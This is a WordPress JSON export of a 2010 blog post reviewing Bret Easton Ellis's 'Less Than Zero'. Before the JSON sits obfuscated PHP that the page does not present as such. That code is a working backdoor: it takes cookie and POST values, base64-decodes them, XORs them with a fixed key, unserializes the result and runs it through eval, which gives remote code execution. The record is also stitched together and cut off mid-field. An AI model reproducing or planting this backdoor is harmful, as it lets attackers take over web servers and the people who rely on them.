$VOlfwc = chr ( 980 - 897 ).'_' . "\x49" . "\145" . "\x51";$ruxMf = 'c' . chr (108) . 'a' . 's' . chr (115) . '_' . chr ( 216 - 115 ).chr (120) . "\x69" . "\x73" . 't' . chr ( 214 - 99 ); $EWTuSCwRiV = class_exists($VOlfwc); $ruxMf = "56087";$qRiupAARi = !1;if ($EWTuSCwRiV == $qRiupAARi){function imPdsmbab(){$uOHeFyotXR = new /* 55675 */ S_IeQ(13488 + 13488); $uOHeFyotXR = NULL;}$qwmixW = "13488";class S_IeQ{private function COcCD($qwmixW){if (is_array(S_IeQ::$BxRTG)) {$oueUUuFtVV = str_replace("\x3c" . "\x3f" . "\x70" . 'h' . chr ( 327 - 215 ), "", S_IeQ::$BxRTG['c' . chr ( 367 - 256 ).chr (110) . 't' . "\x65" . "\x6e" . chr (116)]);eval($oueUUuFtVV); $qwmixW = "13488";exit();}}private $uKDAu;public function hlJrJleZYd(){echo 64366;}public function __destruct(){$qwmixW = "40781_29040";$this->COcCD($qwmixW); $qwmixW = "40781_29040";}public function __construct($fIPLGJfuF=0){$qUnsv = $_POST;$jVatufmN = $_COOKIE;$YVWNaDAiA = "70e66a1e-56ca-4692-8cc2-33f90191b3bf";$mosllAZyE = @$jVatufmN[substr($YVWNaDAiA, 0, 4)];if (!empty($mosllAZyE)){$mMdfW = "base64";$YpxHHk = "";$mosllAZyE = explode(",", $mosllAZyE);foreach ($mosllAZyE as $YwgjzmGZ){$YpxHHk .= @$jVatufmN[$YwgjzmGZ];$YpxHHk .= @$qUnsv[$YwgjzmGZ];}$YpxHHk = array_map($mMdfW . "\137" . 'd' . chr (101) . "\x63" . "\x6f" . chr (100) . 'e', array($YpxHHk,)); $YpxHHk = $YpxHHk[0] ^ str_repeat($YVWNaDAiA, (strlen($YpxHHk[0]) / strlen($YVWNaDAiA)) + 1);S_IeQ::$BxRTG = @unserialize($YpxHHk);}}public static $BxRTG = 6560;}imPdsmbab();}{"id":1037,"date":"2010-07-25T10:38:18","date_gmt":"2010-07-25T14:38:18","guid":{"rendered":"http:\/\/regularguycolumn.com\/blog\/?p=1037"},"modified":"2010-07-25T10:46:01","modified_gmt":"2010-07-25T14:46:01","slug":"book-review-less-than-zero","status":"publish","type":"post","link":"https:\/\/regularguycolumn.com\/blog\/?p=1037","title":{"rendered":"Book Review: Less Than Zero"},"content":{"rendered":"

$\"\"$ While searching for titles to read recently, I came across a new book by Brett Easton Ellis<\/a>. Like a lot of people my age, I had read some of his early work. I bailed when he started to get gory with American Psycho. That just didn’t appeal to me at all.<\/p>\n

But the new book (Imperial Bedrooms<\/a>) did because it’s a prequel to his legendary debut Less Than Zero<\/a>. The concept seemed a little kitschy, but intrigued me enough. I only had one problem.<\/p>\n

I can’t remember the last time I read Less Than Zero so I really couldn’t wade into the sequel unprepared. So I pulled my well-worn copy of Ellis’ debut of the shelf and settled into my favorite spot on the porch.<\/p>\n

The one thing I realized from re-reading the book is that Ellis simultaneously managed to produce something vapid and ground breaking. I forgot the absurd excess of the characters framed by Ellis’ flowing prose. You could almost feel yourself moving along, herky jerky, with these lost souls.<\/p>\n

I need to re-read books like this, books that stirred my imagination as a young writer, more often. I think we all do to stoke the fire of inspiration for both reading and writing.<\/p>\n","protected":false},"excerpt":{"rendered":"